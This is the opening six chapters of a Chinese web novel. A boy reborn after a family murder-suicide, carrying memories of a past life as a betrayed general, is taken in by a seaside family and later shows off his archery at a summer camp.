《冷情战神文化师》 第一章 雷雨中的凶杀案 滨海湾府?是宝宁市高档小区,环境优美堪比大型园林。在2002年,算得上顶极设计,既有现代时尚感,又有文化设计为底蕴。 这个大型豪华小区一分为二,左边是幽静宝地,建立为数不多的别墅,有独立院墙,在寸土寸金的宝宁市属一属二的奢侈。右边则是商品房高楼大厦,人性化设计,通风采光没得挑,楼层格局大气上档次。虽说价格不低,但一开售房子就被抢光。 商品房中有一个小孩拿着望眼镜兴奋的四处“扫描”,此时正是雷雨多发的夏季,虽然下着雨,依然有不错的能见度。借着小区里的路灯,能看到远处的树叶似乎近在眼前,在雨滴的敲打下青翠欲滴,远处朦胧的霓虹字体也变得清晰可读。 “爸爸,我太喜欢你送的礼物啦。”男孩兴奋地叫道。 “喜欢就好,下次考试排名进班上前五,我再送你一个大礼物。”男人呵呵乐道。 这时小孩妈妈嗔怪的笑着说,“你总是这么宠着,小胖学习是他自己的责任,可不兴老是用礼物激励他。以后少了礼物,就没有学习能动性了。” 男人想说什么,就听孩子“啊”的一声。 “妈,爸......”男孩突然放下望远镜,脸色惨白地叫道,嘴唇抖动说不出话来。 男人放下手上的书,快步走过去扶住身体抖擞的孩子:“怎么了,儿子。” 女人也疑惑道,“小胖,你说话呀,怎么了?” 孩子伸手指着不远处的别墅,“杀,杀......” 男人接过望远镜,镜头晃了几晃,没看到异相。当他的视线落在一栋没有像以往那样灯火通明的别墅上,闪电短促的照亮落地窗,他猛然看到别墅二楼里有个穿着睡衣的女子挥舞着手中的水果刀,一次又一次地往男人胸口扎。 男人惊惶地拿下望远镜,“杀人了,快,快报警。” 没多久,警车鸣笛从远处赶来,停在别墅前。胆子较大的邻居在户外围观,迟迟不见凶手被扣押出来。不一会儿,120救护车也“鸣哇”叫着飞驰而来,医护人员相继进去,随后抬着三个罩着白色布单的单架出来。 这是灭门惨案哪!凶手竟是死者之一:别墅的女主人,其他两位亡人是其亲生儿子与丈夫。 邻居们议论纷纷:多大的仇恨才会让一个女人到了生无可恋的地步,连亲生儿子都下得去手? 第二天早上,各大媒体报纸报道这起重大案件,见者无不唏嘘。至于死亡原因一时无解,报道称正在侦察中。 一家人的后事由亡者古力详的堂弟古力言操办,三具尸体送往殡仪馆准备火化,当天晚上整个城市狂风骤雨、电闪雷鸣,气象台接连发出红色警报,因为停工停学,街上人迹全无,只随处可闻高空物体承受不住风力,掉落在霹雳扒拉的响声。 恢复开工后,工作人员发现那具小男尸失踪了。这场突如其来的台风让这座城市如遭土匪洗劫,破坏力强,损坏的物质与建筑不计其数,还增添了几具新亡人。 四处寻找未果,殡仪馆只好向家属坦承这一意外,愿意承担责任。好在古家笼罩在悲伤中,何况古力详留下的遗产和债务也在走清算程序,精力分散,也就并未穷究此事,接受了殡仪馆的道谦和赔偿。 人生大事不过生死,而生死也飘渺如尘烟,随着社会舆论的消弥而尘埃落定。 仿佛这家人从未来过,生前声名雀起,尊贵奢华,死后一抷黄土,消声匿迹,与众生凡相并无两样,惹人唏嘘。 百里开外的安源镇是沿海村落发展而来,两百多年的光景,将这片地域经济开发出来,安居乐业形成一定规模,独立成立城镇辖区,最初的安居村变成了安源镇。 安源镇座落在海岸,阳光洒在海滩的每一个角落,海水波光荡漾,时而掀起或高或低的浪潮,逗得海滩上一群踏浪的孩子发出兴奋地欢笑尖叫。 此时正值秋高气爽的季节,几朵白云悬在蔚蓝如洗的天空里。经阳光照射,云朵有如镀了一层金边,平添了几分动人心魄的美。 海滩上是九月最喜欢的玩乐场所,她生性活泼,动若脱兔,静若处子。 若说静若处子的时候,就是说她沉浸于绘画涂鸦的时候。 慕九月的家境并不算殷实,妈妈每月给的零花钱有限,她倒也不会大手大脚,全都用来买本子和画笔。 毕竟处在脑袋里奇思妙想喷涌而出的年纪,本子和画笔明显不够用,海滩上的沙子成了她天然画板,可涂可抹,触感还挺好。 此时,九月低着头,用手指在沙滩上很专注认真的勾勒线条。偶尔会抬起头,看看海面,或是在孩子们大声欢笑时,被感染似的咧嘴微笑。但更多的时候,她短暂而快速的瞄一眼远离人群的那抹蓝色身影。 从小在这片土地上摸爬滚打,何况她还是这片海域的人气王。这里的人没有她不认识的,除了这两天突然出现的流浪男孩。 男孩身形削瘦,看起来只有十岁左右。身上穿着蓝色衣衫,褐色裤子,和一双弄脏了的白色球鞋。此时,他正神色落寞的看着海面,眉头微蹙。他的气质与神色,有着与年龄不相符的沉着与成熟。 在他眼中,眼前两点钟方向有一个女孩,天天在海滩上画着什么,即使无人的下午,她也会独自来沙滩,在沙滩上留下或长或短的线条,这些线条勾勒着小仙女,小动物或天上云朵的千姿百态。不得不说,这是一个善于观察周边细节的人。 他没有这年龄段该有的好奇与天真。也因此,他对生存之外的事物,似乎没有兴趣,何况研究别人闲情雅致。 他的思维陷入短暂混乱,记不清自己是谁,只记得天昏地暗,电闪雷鸣,醒来就发现自己躺在太平间。脑海里时而浮现金沙铁马和刀光剑影,旗帜与孤烟齐飞。 时而浮现一个熟悉女性在时尚高档的别墅里哭得死去活来,疯狂而绝决地举起手中的水果刀,一次次扎进躺在地毯上的男人胸口,男人已经咽气,暗红的鲜血一寸寸浸润洁白的地毯。 时而又浮现自己身着战袍,与全族人等跪于冰凉的石板地上,一声喝令,刀吟人哼,一排排熟悉的面孔纷纷倒下,挣扎与不甘,悲愤与恐惧,殷红温热的血色铺天盖地,弥漫着腥味。 时而又见到女性爆喝着逼迫他喝下一瓶气味古怪的乳制饮料,耳边一声声回响:喝下去!喝下去!妈妈不会让你一个人孤独留在人世! 双世记忆几乎将他扯裂,他抚住两边汗汵汵的太阳穴。又觉胸口沉闷无比,仿佛重物压在他身上。 四周静谧无声,他能听到自己的喘息和心跳,周围摆着一动不动的僵硬尸体,空调冷气嘶嘶有声。他翻身跃起,在黑暗中朝“安全出口”四个绿莹莹的字体方向走过去。 第二章 莫名出现的小乞儿 恶劣天气停工停学,殡仪馆只有两个轮流值班的工作人员。他飞奔离开殡仪馆,软底运动鞋甚至没发出任何声响,值班人员只觉眼前有黑影一闪,还以为出现幻觉,怔了好一会儿。 奔走在一片狼藉的街道上,凭着一股与生俱来的神力,与狂风赛跑。也不知道狂奔了多久,他终于逃出了狂风暴雨的笼罩,约摸卯时,他随便找了一个隐蔽处,蜷在一角就睡过去。 直到被鼎沸的人声吵醒,才发现蜷缩的地方是海边破船舱里。肚子咕咕叫的时候,他顺着街道包子香味,停在一家包子铺前。 店员是个年轻女人,看见蓬头垢面的他直盯着热气腾腾的包子咽口水,便给了他两个包子。他抬起头,看见招牌上写着“虎妞包点”。 沙滩上无人的时候,他会在海滩上活动筋骨,无意间看到那些熟稔勾勒的线条,目光忍不住停留几秒。 不出意外,他们之间是不会有任何交际的。 但意外就出现了。九月喜欢吃糯糍点心,每月都会光顾一次桂梅糯糍铺。桂梅奶奶做的薄菏口味糯糍尤其好吃,口齿留香。 她小心翼翼揣着糯糍准备离开,看到一个海边那个流浪男孩就站在不远处,目光落在铺子前面的桌上,桌子上摆着顾客吃剩下的糯糍点心。他想吃又不好意思去拿的样子,直到桂梅奶奶收拾桌子的时候将它们扫进了垃圾篓里。男孩的目光一下子黯淡了。 九月看了看怀里的糯糍盒子,咽了咽口水,走过去把它递给男孩。 男孩脸上脏兮兮的,唯有一双沉静的眸子黑白分明,澄亮的盯着九月递给他的盒子,又迟疑地看看她。 “你拿着吧,我下次再买。” 他伸手接过盒子,走到背荫处,狼吞虎咽的吃起来。 那天起,去海边的时候九月刻意将家里的饼干之类的食物,装进小背包里带出来。看见他就将食物放在他身边,又若无其事的离开。 第二天奶奶突然叫住九月,“听邻居孩子说,海边有个流浪儿,可凶了,打伤了三个孩子。” “什么时候的事?” “就是刚才,你别去海边玩了,免得被伤到。” “我去看看。”九月如离弦的箭冲出家门。 身后传来奶奶提高声贝的叮嘱声。“我的小祖宗,你去哪儿呀,可不要去海边啊。” 九月去了海边。 人群渐渐散了,她没看到邻居孩子,也没见到流浪儿。又跑去邻居家,朱明正在写作业,“朱明哥,我打听点事。” “你是问海边的小乞儿打人事件吧?”朱明笑嘻嘻地道,见她一脸惊讶的样子,说,“消息是我告诉你奶奶的。” “你说的都是真的吗?” “当然是真的。” “到底发生什么事了?他们人呢?” 朱明详细道来,原来是一群熊孩子发现一个小乞儿,于是合伙戏弄他。最后觉得不过瘾,有三个为首孩子灵机一动,就说,就以小乞儿为靶心,谁用小石子丢中他的次数最多,谁就获得一个星期的免费零食。 最先小乞儿一直躲开他们的攻击,后来大概是被惹毛了,也不知道他是如何做到的,以迅雷不及掩耳之势将三个为首的孩子打趴在地。 围观的孩子们吓傻了,哭喊着“疯子”就四散逃开了。被胖揍的三个孩子挣扎着爬起来逃回家,将这个经过讲给家人听,朱明也是在听到后,第一时间转告给九月的奶奶。 “活该!叫他们欺负人。”九月一脸怒容离开了。 朱明一怔,没料到她会是这个反应:“九月,你去哪?” 九月早已远去。 她四处寻找男孩,没发现他的踪迹。片儿警陈叔叔骑着摩托车停在九月身边:“九月,你有看到一个十岁左右的流浪儿么?” “陈叔叔也在找他吗?” “对!有很多家长来报案,说海边有个凶狠的小乞儿,以一己之力放倒一片人。如果看到他,你就来告诉我,以免受到伤害。” “不是这样的!他不会随便攻击人。”九月着急忙辩道。 “你认识他?” 九月摇摇头。 陈叔叔耐心地说道,“我们担心这个男孩精神有问题,或者是狂犬病之类的病症,不然哪有这样大的威力。在找到他查明真相之前,不可大意。记住了,看到他要赶紧联系陈叔叔。”说着骑着摩托一溜烟走了。 九月一面思考陈叔叔的叮嘱,一面担心流浪男孩的安危。 但这两天,“小乞儿”似乎消失了。 安源海岸又恢复了热闹,九月像平常一样到海边绘画,海滩上游玩的人并不少,大风把一团团云朵直往一处挤,眼看天沉了下来,酝酿着一场大雨。 也正是这场大雨,将两个人的命运从此牵缠在一起。 “九月,马上下雨了。回家吧!”似乎听到平时的玩伴在叫她的名字,她头也没抬,只应了一声接着专注于埋头绘画。 耳边恢复了寂静,只有一潮接一潮的海浪声,激荡在沙石间。她猛一抬起头,沙滩上就剩自己,雨水急涮涮的冲洗着大地,她双手抱头,挤进海滩上的废弃船舱里避雨。 陡然看到船舱里的流浪男孩,慕九月吓了一跳:“你在这里啊。” “......”男孩不理会,精神萎靡,靠着舱板半眯着眼。 “你也在这避雨吗?”九月又问 “......”依然不予理会。 “一会儿雨就停了,你可别睡,不然天黑了这里没有路灯......”九月把“你会找不到回家的路”吞回肚子里。他可能没有家,否则也不会落到这步田地。 男孩的沉默让九月收起热忱,她打量船舱内部。 对舱内并不陌生,有时跟伙伴们捉迷藏也会光顾这里。但很显然,船舱有小小的不同。靠舱板的一小块地方被清理干净,按尺寸来看刚好能容下一个孩子的身体,旁边还放置着一块方型海绵。像是有人在这里留宿的样子。 难道他住在这里? 海边的夜晚在夏天格外凉快,到了秋天可特别冷,何况蚊虫多,他在这里每晚是怎么熬过来的? 正当她打量船舱的时候,舱板发出巨响,九月被吓一跳。回头就看到刚刚坐在那儿的男孩倒下了。 第三章 我就是他的家人 九月冒着大雨奔回家,叫来大人把孩子抱去医院。 一会片儿警陈伟也闻风赶来,叮嘱医生做各项检查,得知男孩的身体没有奇怪病症,只是近期有点虚弱导致晕厥。陈伟长吁一口气,对医生说,“先看住这个孩子,我们尽快联系他的家人。医药警方先垫付。” 陈伟感到奇怪,各方并没有相似的儿童走失信息,比对了好几个dNA,都以失败告终。 输了液没多久,男孩醒转。 医护人员根据警方要求,轻声细雨的询问孩子身体感受,并小心翼翼地打听他的家庭情况。 男孩始终不出声。 直到九月出现,原本灰黯的目光突然就亮起来。 “你还好吧?”九月走到床边,像询问一个老朋友。 他点点头。 “饿不饿?” “饿。”男孩用微不可闻的声音回应。 “刚刚我回去了......奶奶专门给你熬了鸡肉粥,可香啦。”九月把手中的袋子放在病房床头有小方柜上,袋子里有刚买来的水果和一罐奶奶亲手熬的鸡肉粥。 她细心地用小碗盛出来,小心吹凉。 “我自己来。”男孩说着一口标准普通话。 九月费劲的替他把病床摇上来,让男孩可以靠着靠铺吃东西。 他是真饿了,狼吞虎咽的喝完一碗,把空碗递到九月跟前。 九月一双水灵灵的大眼睛,笑起来成了弯月状,又给他盛了一碗:“好喝吧,奶奶厨艺是世界上最好的,轻易尝不到呢。这回你慢点喝,仔细品尝。” 医护人员将九月叫出病房,“九月,你跟他怎么认识的?” “就......在路上。” “那你知道他的家人在哪儿吗?他有没有告诉你关于他的身世什么的?” 九月摇摇头,心忖道,一定是陈叔叔叫医护人员问的,如果男孩在这里无依无靠,肯定会被赶走。在别的地方不知道会面临怎样的境遇。 想到这里,九月不知道哪来的勇气,大声急道:“我啊,我就是他的家人。” 说出这句话的同时,她生出让父母收养男孩的念头。 当天晚上,父母回家后,九月就将这个想法跟家人说出来。说了自己几天以来的观察,发现男孩很正常,也很乖,并不会随意攻击他人。 她半商量半撒娇地道:男孩很可怜,央求父母收留他。 “九月,他不是一个玩具,也不是小猫小狗,不是你想留就能留的。万一他的父母着急找他呢?” “他如果有父母,怎么会一个人住在破船舱里,这么久也不来找他?何况他能正常交流,若是走失,肯定会求助警察送他回去。但警察和医生都问过他了,他除了摇头什么也没说。” 见九月剖析得有理有据,慕家夫妇竟无言以对。 他们也是心善之人,在九月的苦苦哀求下,退了一步表示愿意暂时收留男孩,待警方找到他的家人,再做下一步打算。 其实,警察帮男孩寻找家人一事也没有进展,也就默许慕家发善心,暂时收留男孩。 两天后,慕家把男孩接回家。仔细梳洗一番,发现男孩长得特别清秀,目光比之同龄人显得坚毅,内敛。举手投足也有很好的教养,不像普通人家的孩子,更不像是长期在外流浪的孤儿。 慕爸爸心里疑云团团,便单独询问他,“以后这里就是你的新家了,你可以叫我慕爸爸,或者叔叔,都可以。你叫什么名字呢?” “尚云。高尚的尚,云彩的云。”他这段时间已经理清了记忆,在这个世界,他叫古尚云。但他故意隐去姓氏,在不知道妈妈让他服毒的原因之前,他不能跟原来的家庭有任何牵绊,因此只告诉了名字。 慕爸爸点点头,赞道:“是个好名字。尚云,如果你是跟家里堵气离家出走,你可以先在这里住一阵,等没那么生气了,叔叔再送你回家。当然,以后还可以随时来玩。如果是因为家里有变故,回不去了,你也可以说出来,我们再想办法。” 尚云抬头,警惕地看着慕爸爸。 “你放心,叔叔没有别的意思,既然你跟九月那么投缘,可以一直在这里住着。但咱们做个小约定。” “什么约定?” “咱们是小男子汉,不能任性,做出伤害家人的事情。不管是你原来的家,还是现在这个家,都不能伤害家人。叔叔的意思,你明白吧?” 见尚云既不点头也不反驳,慕爸爸准备进一步表达自己的意思。 没想到,尚云开口了。“我没有伤害家人,他们已经去世了。” 慕爸爸一时没反应过来:“他们?” “我的父母。” 慕爸爸悬着的一颗心,终于落地。只要不是离家出走的孩子就放心了,否则好心办坏事。 大人们知道后,总算松了一口气。忙着给小尚云装修房间,购买衣物和生活用品,暂时只能先跟九月挤一间屋子。 从此,一间房子,分割成两个地盘,两人很懂事,相处和谐,并无吵闹。 一天,尚云突然问:“一个包子多少钱?” 九月说,“肉包子1块钱1个,其它都是五毛。” “那......”尚云说,“你有没有两块钱?” 九月愣了会,立即从零钱袋里抽出6块零钱,“这个月的零花钱我买画本了,就剩下5块钱,都给你。” 尚云从中只抽出了2块钱,其他还给她。 第二天早上,尚云吃过早饭,找到“虎妞包点”,把两块钱递给原来的年轻女人。 “买包子是吧?” “不买包子。半个月前你给过我两个肉包,我当时没给钱。”尚云说道。 年轻女人一愣,良久才想起这回事,笑道:“哎呀这孩子,不用啦,不用啦,那是阿姨给你的。” 尚云把钱放在台面上,转身就走了。 没多久,慕爸爸替尚云在学校报名上课,他比九月长两岁,目前十二岁,按照其他孩子的学龄现在应该读六年纪。但慕爸爸怕他长时间没上课跟不上别人,就插班到五年级。 没想到,尚云表现超出预料,每门学科老师还没讲,他就已经理解透了。老师不在的时候,还能让他替同学分析课文,布置作业。 班主任老师见到慕家夫妇就一顿夸赞,“这孩子天资聪颖,完全可以跳级试试看。” 根据老师的建议,他跳级到六年纪,没多久又直接跳进了初中二年级。保持这个频率,每年都得跳一级。十五岁时候他已经高中毕业,被保送至重点大学。别人吭哧吭哧在准备高考,他悠哉游哉地出现在九月的校门口。 九月一直没学会骑自行车,尚云骑着自行车来接她放学。 “哈!尚云哥!”九月见到他,像个孩子一样奔扑过来,亏得尚云个子拔高了不少,人也壮实了,不然还接不住这个男孩性格的姑娘儿。 “你该减肥了,九月。”尚云将她放下,故意糗她。 要是别人这么说,九月早就瞪着眼珠子回敬。但尚云这么说,她一点儿也不生气,“哪有!你平时不在家里,光是想你,我就瘦一大圈了。” 这样甜腻的话,在九月嘴里说出来,坦率得可爱。尚云笑着弓着手指,轻敲她的额头。“不害臊!” 九月嘿嘿一笑,神秘兮兮的凑过去说:“尚云哥,我告诉你一个好消息。” 第四章 夏令营引发前尘梦 尚云上扬的唇微抿,推着自行车爱搭不理的加快步子。 他能不了解九月么,若是好奇地追问“什么好消息”,九月定要卖关子。他反其道而行,九月就会巴巴的自己主动奉上答案。 “尚云哥,你不想知道啊?”她果然着急了,追在后面拽着他的衣角。 他突然停下:“九月,我跟你打个赌。” 她被他莫名其妙的话题怔了一下:“打赌?要赌什么?” “如果你输了,再也不准叫我哥哥。如果我输了,我送你一件礼物。”他表情严肃地道。 “不准叫哥哥?”九月唇边的笑容消失了。“那叫什么?” “就知道你不敢赌?”他蹙眉转身欲走,以退为进。 “谁不敢赌了?”她忽略掉心里的慌乱,小脑袋一昂,说:“赌就赌!” “我赌你猜不中我最喜欢你哪个画作?”他接着说。“如果你猜中了,就算我输,没猜中,就算我赢。” “《月兰》!你曾经夸过我……”尚云话音刚落,九月就笃定地道。 《月兰》这个画作,是在一年中秋晚上去海边赏月得到的灵感。左边是沙漠,右边是海水,沙水相临的地方,是一片礁石。礁石上一株花。花形如月,含苞欲放,袅袅亭亭,长在凌削的石壁,以薄土作养分,却傲然孑立,风摇不倒。月光如华,洒在海水,荡出白光,沙漠投下阴影,花的影子,拉得细长,投在凌乱石缝间。整幅画是实像派与抽像派的结合,也是影与物的结合。 那时连不爱夸人的尚云都赞叹:“本来只是凭空想像的场景,偏偏感觉像是真的存在过。这幅画,像是在你笔下活过来了。月儿,你真的很有天赋。” 她当时问:“尚云,真的有这么好吗?你可是很少夸我的。” “真的。等我长大赚到钱了,一定为你办个画展。让你的才华人尽皆知,知道我们家有个才女。” “哈哈,我可等着那一天哦。” 他的夸赞犹在耳边,错不了的。 没想到尚云不留情面的驳回:“错了,我最喜欢《沧月》。” “可是,当初画好《沧月》拿给你看,你也没什么表示呀。” “真正的喜欢是无法言表的。”尚云转开视线,看着天边的落日余晖。 “这样?”九月皱着眉道,“好吧,我输了。” 她心里突然空落落的。“不让我叫你哥哥,是不想做我的家人了吗?” “不是。”他转身走了。 心里有个声音悄悄道:叫哥哥他们之间只有一种关系,不叫哥哥可以是任意一种关系。 他喜欢听她直接唤他“尚云”,而不是逢人便向人介绍“这是我哥哥尚云”。九月还这么小,他这点小心思,单纯的九月当然不懂。 “尚云,哎!你别走这么快!”她把压在书包下的长发挽出来,追上去。 好不容易赶上他的步伐,与他并肩而行。 “你今天心情很好嘛?”她发现他嘴角含笑,顿时也笑若灿花。 “你刚不是说有好消息要告诉我吗?说吧。”他转开话题道。 “前段时间班主任把我画的那幅《凝望》发给儿童杂志社,今天杂志社打电话来说刊用了,还有一笔稿费呢,还有可能会选进少年宫的画展哦。这算不算好消息?”她有些兴奋,在得到这个好消息时,立刻想要分享的人便是他。 他停下脚步,看着她。 她站在他身前矮了一个头,只能仰着粉嫩红润的脸,及腰的头发被简单的束起,搭在书包上。以前她的头发全部梳在头顶,盘成一个发髻,干干净净不落下哪怕一根发丝。 但那样的发髻要梳很长时间,自从为了杜绝迟到现象而承诺每天帮她梳发,他就把她的发式改成了简单的马尾,额前的束不住的碎发,长长短短的总挡住她那双美丽的大眼睛。她手舞足蹈时还要不断腾出手去拂开。只是她这些小动作十足的女儿娇态,让他的视线再也移不开。 “尚云,你怎么不说话呀?不开心吗?”她沉浸在胜利中。拿到稿费要给他一个惊喜!想想就美。 “挺开心的……”他掩饰自己刚才的心悸,由衷笑了。她有这样的功底,总有一天会崭露头角的。“月儿,你这么有天赋,今后要继续在这条路上走下去!” “我跟你说,不要太崇拜我。未来的画家饿了,快点走啦!”她得意了,扬着头说。 得到他的肯定比得到任何奖项都要得意。 尚云忍俊不禁,“诶!才哪到哪,就开始骄傲了。” 第二天早上,他给她梳头发的时候,突然掏出一枚精致的莹白底莲花纹发卡,别在她额发上。 “咦?不是打赌赢了才有礼物吗?”她又惊又喜,犹记得那一整天都不自觉的抬手去摸头发,心情飞扬。 “输了就是赢了。”他富有哲思地道。 终于捱到放暑假。 杂志社汇来的稿费也已经到款。九月拿出自己攒的零花钱,跟稿费合在一起拿去给自己和尚云报名夏令营。 九月兴冲冲地拿回来两份资料表,让尚云填写。 “夏令营?”尚云脸上挂着嫌弃:“那是小孩子去的,我可不去。” “早就知道你会这么说,所以我报的可是高中营。诶,我一个初中生挑战高年级的项目,都是为了将就你好不好。”九月满脸委屈,耐着性子央求道:“你虽然保送大学,但你年纪最多像高中新生,不丢人。去嘛去嘛,就当陪我长见识,我长这么大还没出过安源镇的大门。” 尚云一脸没辙,答应了。 夏令营以军事熔炼脱胎换骨为主题,因此选择地域也较为艰苦。但也有吸人眼球的噱头,如漠地骑射、夜观星象、篝火晚会等等,应有尽有,让人大开眼界。 开营那天,大家到达集合地,分配了房间,指导员介绍了周边的环境,以及注意事项,就离开了。关于起居餐饮之类,是夏令营的项目之一,他们不做规定。 休息时间,他们俩人是高年级营里年纪最小的,有人发现他俩,像是看到萌宠,“你们看,有两个初中生耶!会不会进错营地了?” 尚云一派老成淡淡回应,“是不是小孩,以实力见真章。” “我们先去找自己的房间,走吧。” “实力见真章,哼!”九月皱起鼻子做一个鬼脸,被尚云牵走了。 后面传来几个男生嘲弄的声音,“真是不知天高地厚,现在初中生都这么牛了吗?” “好嚣张哦,明天咱用实力教他做人。” 九月听到后面难听的话,扭头想怼回去,被尚云一把拉住。 晚上雷声大作,大雨瓢盆。 身体剧痛,尚云低头,刀剑枪戟交错扎进他的血肉之躯,暗红色的血水沿着兵器往下流淌。士兵将他包围得水泄不通,他却没有任何挣扎反抗的迹象。 喉头翻涌一股腥甜,鲜血自他嘴里喷涌而出。他牙关格格作响,沾满殷红色血迹的唇角却缓缓上扬,仰天发出苍凉惨笑。 第五章 明月战神的血腥记忆 听到他仿佛来自地狱口的笑声,士兵为之胆寒。 他曾以一人之力在千军万马中杀出血路平安救出先帝,亲自镇压的边城连魔鬼都不敢进犯,是连邻国最骁勇善的将领都闻风丧胆的战神。若非不想伤害他们,主动放弃反抗,他们这等兵卒岂能近得了他身。 短暂一生驰聘于沙疆,浴血奋战誓死扞卫国土,他早就认定马革裹尸就是自己最好的归宿,却怎么也想不到,如今竟惨死在自己人手中。 雨水从头往下浇,染红了地面。一骑高头大马“得得得”由远而近。 那人在马背上居高临下,大手一挥,周围的士兵拔出扎在他身上的武器,退回一旁。大量血液自伤孔中喷涌而出,没有力量支撑,尚云站立不稳,将手里重钢煅造的兵器狠狠插进泥里,支撑起半边身子,单膝跪了下去。 “相国,陛下派在下取你首级,圣命难违,对不住了!” 对方从高头大马一跃而下,黑色靴子踩着血水一步步靠近,尚云下意识的抬头,对方虽着黑色劲装,但这张熟悉的面孔在闪电下犹其清晰。 天下第一刽子手! 尚云目瞪口呆,随着一个惊雷霹雳有声,手起刀落,血溅数米,从此世上再无明月战神。 他大汗淋漓,猛地睁开眼,黑夜如墨,胸腔如鼓作锤咚咚有声,他半张着唇喘息。 原来是一场梦! 不,这不是梦,这分明就是前尘记忆。沉封了几年,又开始苏醒了。 他想起床喝点水,惊觉旁边软乎乎的团着一个小人儿。借着月光,看清偎在他怀里的人竟是九月。 “九月。”他轻轻叫她,她迷迷糊糊“唔”了一声,再无声响。 九月怕打雷,他是知道的。 慕家奶奶曾无意中提起她的往事,她五六岁的时候,班主任老师意外被雷电击中去世了。而她还跟着同学们去事故现场,从那次之后,她对雷就有了莫名的恐惧。 以前一打雷就跑去奶奶房里,自尚云来了家里,他们挤在一个房间时,每到雷雨夜,就悄悄爬到他床上,蜷缩身子背抵着他,呼呼睡去。 第二天早上,在尚云醒来之前,她再爬回自己床上。 实际上,哪一次他都醒得比她早。她以为神不知鬼不觉,其实,每次他都知道,只是故意装睡罢了。 九月睡得正是香甜,被他掀掉被子大概觉得冷,又往尚云身边靠了靠。 尚云只好重新盖好被子,一动也不敢动。 脑海里反复回想梦里出现的那张清晰无比的脸庞,让他既困惑又寒凉。为什么会是他?此生的遇见,难道是冥冥中早有安排? 这些年来,为早日实现独立,不拖累慕家。他把全部精力投入学习,如知识饕餮一般,学完当前学期的教程又借高年级的课本研习,遇到不理解的就去请教高年级老师。才有别人眼中艳羡的光辉成绩,世上哪有空横出世的天才。 他打算提前学完整个大学的课程,争取在成年之前可以找到工作养活自己。 可笑之极!前世杀害自己的人,正是如今养育他的人,他心里不知不觉横生隔阂。不禁暗下决心,要更快的独立出来。 想着梦境和现实里有的没的,正当他迷迷糊糊的再度沉睡,室外传来一声紧似一声的哨声。 是起床哨!接着传来“砰砰”敲门声。 被窝里动了动,尚云赶双眼紧闭继续装睡。听到“悉悉簌簌”的声音,床铺一下子空了一块,感觉九月已经回到自己床上,他才松了一口气。 “起床了,尚云。”九月快速拿出迷彩服去洗手间换。 尚云装作刚醒的样子,淡淡地道:“天还没亮,这么早。” “咱们的起居时间也是项目的一部分,这是第一次集合,咱们不能落后让人看扁了。”九月倒是记得昨天夸下的海口。 两人穿戴整齐,迅速下楼赶往集合点。 两天的基础训练,把一群青春期的孩子们驯服得举止有度。教练满意地看着方阵队,宣布下午开始骑射项目。 为了学员们能进快进入角度,对古老的弓箭射击更有体验,活动工作人员给每人发放一套古代战袍。 九月个子实在太小,工作人员没找着她的尺寸,只得给她单独发放一套小号的侠女装。她自己把头发全束于头顶,再穿上侠女装束,一个英气勃发的侠女形象就活灵活现了。 大部分人换好了装,有的人看着别扭,有的人倒像那么一回事。左看右看没发现尚云,正在着急,就见尚云神色凛然的出现在现场。 他老成持重的气质,坚毅立体的五官,凌厉而深沉的眸子,虽才十五岁多,却有1米7挺拔饱满的身形再搭配那一套战袍,英气逼人,生了几许萧杀之气,不怒自威。 身影所到之处皆无人声,纷纷投来注目礼。他在人群里寻找九月的身影,四目相对,各自略微心跳漏拍了两秒,他大步朝九月走去。 九月有些恍惚,几疑乱世中威风凛凛的战神穿越时空向她走来。 “发什么呆,列队了。”尚云牵着她就走。 她“哦”了一声,生平第一次知道什么叫做心跳加速,双颊发热。 教练导师跟大家示范射击的动作要领,并亲自上场拿起弓箭,标准有力的射中靶心,大家纷纷鼓掌。 “每人手里有一把弓,十支箭,给大家二十分钟练习,休息五分钟进行比赛。一会儿还有重要项目骑马训练,大家抓紧时间。” 教练走后,大家迫不急待拿起弓箭就开始射击。看教练那么轻松即射中靶心,可轮到自己了连弓都拉不满。叫苦不迭。 九月刚才光去平复脸红心跳了,教练讲的一个字都没听进去。拿着有些压手的弓,连箭的刻度尺是什么都不知道。 求助的目光投向尚云,他拿着弓箭正在发怔,九月叫了几声,他才回过神来。 “我刚才,没听清。你能不能教我?”连九月自己都没发现,自己说话的语气跟以前有了微妙的差异。 尚云似乎心事重重,也没察觉。他走过来,一边把复杂的术语用简单的描述出来,一边让九月按他的方式握、拿、侧、瞄等动作,直到九月能自己运箭。 旁边的人也纷纷请教尚云,特别是一些女学员。尚云受欢迎程度迅速上升。 九月心里莫名的烦燥,正要过去干扰,就听一个熟悉的男生声音响起,“哟,初中生吧?这么好为人师,看来你的箭术不错喽?” 尚云看他一眼,也认了出来:“哦,是你呀。” “那天你怎么说来着,实力见真章。我没记错吧?”男生身边几个伙伴也都挑衅地扬起下巴,一副看好戏的神情。 第六章 箭术超群 “没错,我说的。”尚云毫不畏惧的盯着对方眼睛。 “怎么个实力法,怎么见真章?要不比试比试?”男生看来会射箭,要不也不敢如此狂妄。 “好!我接受你的挑战。”尚云依旧风清云淡。 九月见状知道尚云要吃亏,跑到他身边,拉着尚云胳膊压低声音道:“你从来没学过射箭,我们不跟他比。” 尚云也低声回应:“相信我,没事。” 九月还想说什么,对面的男生已经洞悉一切,哈哈一笑,对身后说道:“太好了,你们说要不要加点惩罚更好玩?” 他的伙伴们默契地应道,“当然!加点惩罚,输了就做50个俯卧撑吧!” “不,100个。”说话的是尚云。 许多学员早已围了过来看热闹,纷纷鼓掌欢呼! 这时教练不明原因,朝他们走来。发现两人欲比试箭法,便不动声色的在旁边看着。 在现场拉了个双方都不相识的人做裁判,以示公正。裁判对众公布:“规则很简单,每人只有十支箭,谁射中靶心上的箭最多,谁就赢了这场比赛。” 那男生急于一展雄风,便表示怕尚云怯场,自己先来。他原地跳跃,活动筋骨。毕竟战袍穿在身上有点重量,会影响发挥。 男生每次射中靶心都赢来一声呼唤。几个同伴甚是得意,“金少是有家底的人,射箭项目算是资深玩家了。这个不知天高地厚的初中生要吃亏了!” 最后三支箭,每射出一箭都要停留半分钟恢复体力,那男生额上沁出了汗珠子。 直到最后一支箭如钉子钉在了靶心上,九月心悬在了喉咙口。 周围响起欢呼声和掌声,“厉害呀!厉害!十箭全中!” 这下,即使尚云再厉害,也不过持平了。 反观尚云本人镇定自若,掂了掂弓箭的份量,目测自己身体到靶之间距离,心里有了底。 “你别不是怕了吧?反悔要惩罚加倍。”有人幸灾乐祸地笑道。 尚云勾起唇角轻笑一声,“看好了。” 他抓起三支箭齐刷刷射过去,重复了三次,中靶的九支箭围绕靶心形成一个密密匝匝紧紧排列的圆形。在大家的倒抽冷气中,他射出了最后一支箭,这一箭正中此圆的中心点。 